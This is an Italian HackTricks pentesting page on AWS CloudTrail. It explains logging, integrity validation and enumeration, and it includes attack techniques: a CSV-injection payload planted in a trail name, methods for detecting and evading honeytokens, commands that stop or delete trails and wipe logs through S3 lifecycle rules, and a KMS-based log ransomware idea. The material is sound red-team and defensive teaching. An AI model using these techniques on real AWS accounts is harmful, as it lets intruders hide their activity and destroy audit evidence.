AWS - CloudTrail Enum

Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team di HackTricks AWS)!

Altri modi per supportare HackTricks:

CloudTrail

AWS CloudTrail registra e monitora l'attività all'interno del tuo ambiente AWS. Cattura dettagliati log degli eventi, inclusi chi ha fatto cosa, quando e da dove, per tutte le interazioni con le risorse AWS. Questo fornisce un registro delle modifiche e delle azioni, aiutando nell'analisi della sicurezza, nell'audit della conformità e nel tracciamento delle modifiche delle risorse. CloudTrail è essenziale per comprendere il comportamento degli utenti e delle risorse, migliorare le posture di sicurezza e garantire la conformità normativa.

Ogni evento registrato contiene:

  • Il nome dell'API chiamata: eventName

  • Il servizio chiamato: eventSource

  • L'ora: eventTime

  • L'indirizzo IP: SourceIPAddress

  • Il metodo dell'agente: userAgent. Esempi:

    • Signing.amazonaws.com - Dalla Console di Gestione AWS

    • console.amazonaws.com - Utente principale dell'account

    • lambda.amazonaws.com - AWS Lambda

  • I parametri della richiesta: requestParameters

  • Gli elementi di risposta: responseElements

Gli eventi vengono scritti in un nuovo file di log circa ogni 5 minuti in un file JSON, sono mantenuti da CloudTrail e infine, i file di log vengono consegnati a S3 circa 15 minuti dopo. I log di CloudTrail possono essere aggregati tra account e tra regioni. CloudTrail consente di utilizzare l'integrità del file di log per poter verificare che i file di log siano rimasti invariati da quando CloudTrail li ha consegnati a te. Crea un hash SHA-256 dei log all'interno di un file di digest. Viene creato un hash sha-256 dei nuovi log ogni ora. Nel creare un Trail, i selettori degli eventi ti permetteranno di indicare il trail da registrare: eventi di gestione, dati o di insight.

I log sono salvati in un bucket S3. Per impostazione predefinita viene utilizzata la crittografia lato server (SSE-S3) in modo che AWS decifri il contenuto per le persone che vi hanno accesso, ma per una sicurezza aggiuntiva è possibile utilizzare SSE con KMS e le proprie chiavi.

I log sono memorizzati in un bucket S3 con questo formato di nome:

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD

  • Essendo il BucketName: aws-cloudtrail-logs-<accountid>-<random>

  • Esempio: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

All'interno di ciascuna cartella, ciascun log avrà un nome seguendo questo formato: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

Convenzione di denominazione dei file di log

Inoltre, i file di digest (per controllare l'integrità del file) saranno all'interno dello stesso bucket in:

Aggregare Log da Più Account

  • Crea un Trail nell'account AWS dove desideri che i file di log vengano consegnati

  • Applica le autorizzazioni al bucket S3 di destinazione consentendo l'accesso tra account per CloudTrail e consenti l'accesso a ciascun account AWS che ne ha bisogno

  • Crea un nuovo Trail negli altri account AWS e seleziona di utilizzare il bucket creato nello step 1

Tuttavia, anche se è possibile salvare tutti i log nello stesso bucket S3, non è possibile aggregare i log di CloudTrail da più account in un CloudWatch Logs appartenente a un singolo account AWS.

Ricorda che un account può avere diversi Trails da CloudTrail abilitati che memorizzano gli stessi (o diversi) log in bucket diversi.

Cloudtrail da tutti gli account dell'organizzazione in 1

Nel creare un CloudTrail, è possibile indicare di attivare CloudTrail per tutti gli account nell'organizzazione e ottenere i log in un solo bucket:

In questo modo è possibile configurare facilmente CloudTrail in tutte le regioni di tutti gli account e centralizzare i log in 1 account (che dovresti proteggere).

Verifica dei File di Log

È possibile verificare che i log non siano stati alterati eseguendo

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Registri su CloudWatch

CloudTrail può inviare automaticamente i registri a CloudWatch in modo da poter impostare avvisi che ti avvisano quando vengono eseguite attività sospette. Nota che per consentire a CloudTrail di inviare i registri a CloudWatch è necessario creare un ruolo che consenta tale azione. Se possibile, è consigliabile utilizzare il ruolo predefinito di AWS per eseguire queste azioni. Questo ruolo consentirà a CloudTrail di:

  • CreateLogStream: Questo consente di creare flussi di log di CloudWatch Logs

  • PutLogEvents: Consegnare i registri di CloudTrail al flusso di log di CloudWatch Logs

Cronologia degli eventi

La Cronologia degli eventi di CloudTrail ti consente di ispezionare in una tabella i registri che sono stati registrati:

Insight

CloudTrail Insights analizza automaticamente gli eventi di gestione della scrittura dai percorsi di CloudTrail e ti avvisa di attività insolite. Ad esempio, se c'è un aumento degli eventi TerminateInstance che differisce dai baselines stabiliti, lo vedrai come un evento Insight. Questi eventi rendono più facile che mai trovare e rispondere a attività API insolite.

Gli insight sono memorizzati nello stesso bucket dei registri di CloudTrail in: BucketName/AWSLogs/AccountID/CloudTrail-Insight

Sicurezza

Integrità del file di log di CloudTrail

  • Verifica se i registri sono stati manomessi (modificati o eliminati)

  • Utilizza file di digest (crea hash per ogni file)

    • Hashing SHA-256

    • SHA-256 con RSA per la firma digitale

    • chiave privata di proprietà di Amazon

  • Impiega 1 ora per creare un file di digest (effettuato all'ora ogni ora)

Fermare l'accesso non autorizzato

  • Utilizzare le policy IAM e le policy del bucket S3

    • team di sicurezza —> accesso amministrativo

    • revisori —> accesso in sola lettura

  • Utilizzare SSE-S3/SSE-KMS per crittografare i registri

Impedire l'eliminazione dei file di log

  • Limitare l'accesso all'eliminazione con le policy IAM e del bucket

  • Configurare l'eliminazione MFA di S3

  • Convalidare con la convalida del file di log

Consigli sull'accesso

Il Consigliere sull'accesso di AWS si basa sui registri di CloudTrail degli ultimi 400 giorni per raccogliere le sue informazioni. CloudTrail cattura la cronologia delle chiamate API di AWS e degli eventi correlati effettuati in un account AWS. Il Consigliere sull'accesso utilizza questi dati per mostrare quando i servizi sono stati accessati per l'ultima volta. Analizzando i registri di CloudTrail, il Consigliere sull'accesso può determinare quali servizi AWS un utente IAM o un ruolo ha accessato e quando è avvenuto tale accesso. Questo aiuta gli amministratori AWS a prendere decisioni informate sulla raffinazione delle autorizzazioni, in quanto possono identificare i servizi che non sono stati accessati per periodi prolungati e potenzialmente ridurre le autorizzazioni troppo ampie basate sui veri modelli di utilizzo.

Pertanto, il Consigliere sull'accesso informa riguardo alle autorizzazioni non necessarie fornite agli utenti in modo che l'amministratore possa rimuoverle

Azioni

Enumerazione

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

Iniezione di CSV

È possibile eseguire un'iniezione di CSV all'interno di CloudTrail che eseguirà codice arbitrario se i log vengono esportati in CSV e aperti con Excel. Il seguente codice genererà un'entrata di log con un nome di Trail dannoso contenente il payload:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

Per ulteriori informazioni sulle Iniezioni CSV consulta la pagina:

Per ulteriori informazioni su questa tecnica specifica consulta https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

Eludere la Rilevazione

HoneyTokens eludere

I HoneyTokens sono creati per rilevare l'esfiltrazione di informazioni sensibili. Nel caso di AWS, sono chiavi AWS il cui utilizzo è monitorato, se qualcosa attiva un'azione con quella chiave, allora qualcuno deve aver rubato quella chiave.

Tuttavia, questa monitorizzazione viene effettuata tramite CloudTrail, e ci sono alcuni servizi AWS che non inviano log a CloudTrail (trova l'elenco qui). Alcuni di questi servizi risponderanno con un errore contenente l'ARN del ruolo chiave se qualcuno non autorizzato (la chiave honeytoken) cerca di accedervi.

In questo modo, un attaccante può ottenere l'ARN della chiave senza attivare alcun log. Nell'ARN l'attaccante può vedere il ID dell'account AWS e il nome, è facile conoscere gli ID e i nomi degli account delle aziende HoneyToken, in questo modo un attaccante può identificare se il token è un HoneyToken.

Rilevamento HoneyTokens

Pacu rileva se una chiave appartiene a Canarytokens, SpaceCrab, SpaceSiren:

  • Se canarytokens.org appare nel nome del ruolo o l'ID dell'account 534261010715 appare nel messaggio di errore.

  • Testandoli più di recente, stanno utilizzando l'account 717712589309 e ha ancora la stringa canarytokens.com nel nome.

  • Se SpaceCrab appare nel nome del ruolo nel messaggio di errore

  • SpaceSiren utilizza uuids per generare nomi utente: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}

  • Se il nome sembra generato casualmente, ci sono alte probabilità che sia un HoneyToken.

Nota che tutte le API pubbliche scoperte che non creano log di CloudTrail sono state ora corrette, quindi potresti aver bisogno di trovarne una tua...

Oppure puoi ottenere l'ID dell'account dall'encoded all'interno della chiave di accesso come spiegato qui e controllare l'ID dell'account con il tuo elenco di account AWS Honeytokens:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print ("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Per ulteriori informazioni consulta la ricerca originale.

Accesso a Infrastrutture di Terze Parti

Alcuni servizi AWS creeranno un'infrastruttura come Database o cluster Kubernetes (EKS). Un utente che comunica direttamente con questi servizi (come l'API Kubernetes) non utilizzerà l'API AWS, quindi CloudTrail non potrà vedere questa comunicazione.

Pertanto, un utente con accesso a EKS che ha scoperto l'URL dell'API di EKS potrebbe generare un token localmente e comunicare direttamente con il servizio API senza essere rilevato da CloudTrail.

Ulteriori informazioni in:

pageAWS - EKS Post Exploitation

Modifica della Configurazione di CloudTrail

Eliminare i trail

aws cloudtrail delete-trail --name [trail-name]

Interrompere i trail

aws cloudtrail stop-logging --name [trail-name]

Disabilita il logging multi-regionale

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

Disabilita il Logging tramite Selettori di Eventi

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

Nel primo esempio, viene fornito un singolo selettore di eventi come un array JSON con un singolo oggetto. Il "ReadWriteType": "ReadOnly" indica che il selettore di eventi dovrebbe catturare solo eventi in sola lettura (quindi CloudTrail insights non controllerà gli eventi di scrittura, per esempio).

Puoi personalizzare il selettore di eventi in base ai tuoi requisiti specifici.

Cancellazione dei log tramite la policy del ciclo di vita di S3

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

Modifica della configurazione del bucket

  • Elimina il bucket S3

  • Modifica la policy del bucket per negare qualsiasi scrittura dal servizio CloudTrail

  • Aggiungi una policy di ciclo di vita al bucket S3 per eliminare gli oggetti

  • Disabilita la chiave KMS utilizzata per crittografare i log di CloudTrail

Ransomware CloudTrail

Ransomware S3

Potresti generare una chiave asimmetrica e fare in modo che CloudTrail crittografi i dati con quella chiave e eliminare la chiave privata in modo che i contenuti di CloudTrail non possano essere recuperati. Questo è essenzialmente un ransomware S3-KMS spiegato in:

pageAWS - S3 Post Exploitation

Ransomware KMS

Questo è il modo più semplice per eseguire l'attacco precedente con requisiti di autorizzazioni diversi:

pageAWS - KMS Post Exploitation

Riferimenti

Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated